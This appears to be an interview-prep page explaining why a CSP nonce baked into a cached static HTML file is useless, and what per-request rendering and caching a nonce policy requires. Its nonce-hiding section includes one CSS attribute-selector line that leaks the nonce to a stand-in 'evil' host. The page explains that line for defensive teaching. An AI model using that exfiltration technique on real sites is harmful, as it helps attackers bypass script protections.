skip to content

A single-page app ships a static index.html from a CDN with a CSP nonce baked into its inline bootstrap script tag. Explain why that nonce provides no protection, and what a nonce-based Content-Security-Policy therefore demands of the response pipeline.

level: middleimportance: must knowfreq 60%

answer

  1. unguessable, and never twice
  2. the attacker can fetch your page too
  3. cached HTML publishes the token
  4. must be minted per response
  5. the attribute reads back empty

basics

~20 s

A CSP nonce only protects while it is unpredictable and regenerated on every response. Baked into a cached static file it is public, so injected markup can copy it verbatim. Nonce policies require HTML rendered per request.

solid answer

~50 s

A nonce is a per-response trust token, not a property of the script's code. The server generates a fresh random value — 128 bits or more from a cryptographic RNG — puts it in the header as `script-src 'nonce-…'` and stamps the same value on each inline script it wants executed; the browser runs a script only when the two match. Everything rests on the attacker being unable to read or guess the value. If the HTML is a static file on a CDN, the nonce sits in the same public bytes anyone can fetch, so an injected `<script nonce=…>` copies it and runs. A nonce policy therefore forces the document to be generated per request and kept out of shared caches, while your JS and CSS assets stay cacheable. Note also that browsers hide the attribute: `el.getAttribute('nonce')` returns an empty string, and you read `el.nonce` instead.

go deeper

for a junior

Know that a nonce is a random token repeated in the CSP header and on each trusted script tag, and that the browser runs a script only when the two match.

for a middle

Be ready to explain why freshness and unpredictability are the whole security argument, and what breaks when the HTML document is cached or shipped as a static file.

for a senior

Show that you have wired this through a real response path: per-request rendering, no-store on the document only, stamping every server-emitted inline script, and diagnosing the prod-only failure where a CDN serves a stale nonce.

for a principal

Own the tradeoff between nonce-based and hash-based policies for a given delivery model, and be able to say what dynamic HTML costs at your traffic volume versus what dropping host allowlists buys.

## What a nonce is CSP nonce stands for "number used once". The server picks a random value for one HTTP response, names it in the policy header, and stamps it on the script elements it is willing to trust: ```http Content-Security-Policy: script-src 'nonce-r4nd0mB4se64'; object-src 'none'; base-uri 'none' ``` ```html <script nonce="r4nd0mB4se64">bootstrap();</script> ``` The browser executes an inline script (or loads an external one) only when the element's nonce matches a nonce source in the policy. Crucially, the nonce says nothing about the script's *contents*. It is a claim of provenance: "whoever authored this policy also authored this tag". That is exactly the property an injection lacks — an attacker who can write markup into your page writes it into a response whose nonce they were not told. ## Why it has to change on every response An injected script and a legitimate script are indistinguishable to the parser; the only asymmetry the browser can exploit is knowledge of a secret the injector does not have. That asymmetry survives only if three things hold: 1. The value is unguessable — at least 128 bits from a cryptographically secure RNG, base64-encoded. A counter, a timestamp, or a short value is guessable. 2. The value is fresh per response. If today's page carries the same nonce as yesterday's, an attacker fetches the page, reads the nonce, and hard-codes it into the payload they store in your database. 3. The value is not readable by the attacker from *another* channel — hence nonce hiding, below. A static `index.html` on a CDN fails point two absolutely. The file is one fixed byte sequence served to everybody, attacker included; its nonce is public information. Worse, the setup usually looks healthy: your own scripts run, the console is clean, and the policy appears to be enforcing. It is enforcing a rule an attacker can satisfy at will. The same failure appears in subtler forms: an HTML document that is per-request but gets cached by a shared cache or CDN for sixty seconds, so every visitor in that window shares one nonce; or an edge that assembles a page from cached fragments minted under different nonces, where some fragments carry a stale value and silently stop executing. ## Nonce hiding Browsers implement "nonce hiding": once an element is parsed, the `nonce` **content attribute** is blanked, and the real value lives in an internal slot exposed through the `nonce` **IDL property**. So: ```js const s = document.currentScript; s.getAttribute('nonce'); // "" — deliberately hidden s.nonce; // "r4nd0mB4se64" ``` The reason is exfiltration. Without hiding, an attacker who can inject CSS (or markup that is not script) could leak the nonce a character at a time with attribute selectors such as `script[nonce^="a"] { background: url(//evil/a); }`, or read it back through the DOM from a gadget. Hiding it removes those side channels. In practice this is the detail that trips people up when they try to propagate a nonce to a script they create at runtime. ## What this costs your response pipeline - **The document must be dynamic.** Server rendering, a template, or an edge function that injects a fresh nonce into both the header and the markup for that one response. A purely static HTML file cannot carry a nonce; such a site has to either move its inline code into external files covered by `'self'`, or use hash-based sources instead. - **The document must not be shared-cached** — `Cache-Control: no-store` (or private, short-lived and nonce-aware) for the HTML. Your hashed JS, CSS and image assets are unaffected and stay on long cache lifetimes; only the small HTML shell pays. - **Every trusted inline script gets stamped at render time**, including the ones a framework's server renderer emits, hydration payloads, JSON-LD blocks and analytics snippets. Miss one and it silently stops running. - **Anything injected after load does not inherit the nonce** and needs it propagated explicitly. ## The payoff The reason teams accept the cost is that nonces let you stop maintaining a host allowlist. Allowlists are both operationally painful and weak — a single permitted host serving a JSONP endpoint or an unsafe library re-opens script execution. A nonce ties trust to "my server emitted this", which is the property you actually wanted.

  • If the site genuinely cannot render HTML per request, what is the alternative for its inline scripts?
    Either move the inline code into external files that `'self'` covers, or use hash sources — the policy names the SHA digest of the exact inline script body, computed at build time. Hashes suit fixed content precisely because they are stable; the tradeoff is that any edit to the snippet, including whitespace, invalidates the digest and must be regenerated by the build.
  • How long should a nonce be, and what happens if you reuse one across two responses to the same user?
    At least 128 bits from a cryptographically secure RNG, base64-encoded — roughly 22 characters. Reuse across responses is the whole vulnerability in miniature: an attacker who obtains a page (they are usually a user of your site too) learns a value that will still be accepted, and can embed it in stored content that renders later.
  • Why do browsers blank the nonce content attribute after parsing but keep the value on the element?
    To close exfiltration channels. A readable attribute can be leaked character by character with CSS attribute selectors, or read by any DOM gadget the attacker can reach. Hiding moves the value into an internal slot exposed only as `element.nonce`, so page content cannot mine it while your own code can still propagate it.

saying these in an interview costs you the question

  • Thinks the nonce validates what the script contains
  • Puts one build-time nonce into a static HTML file
  • Leaves the nonced document cacheable on a CDN
  • Reads it with getAttribute('nonce') and gets an empty string
  • Uses a short or sequential value as the nonce

context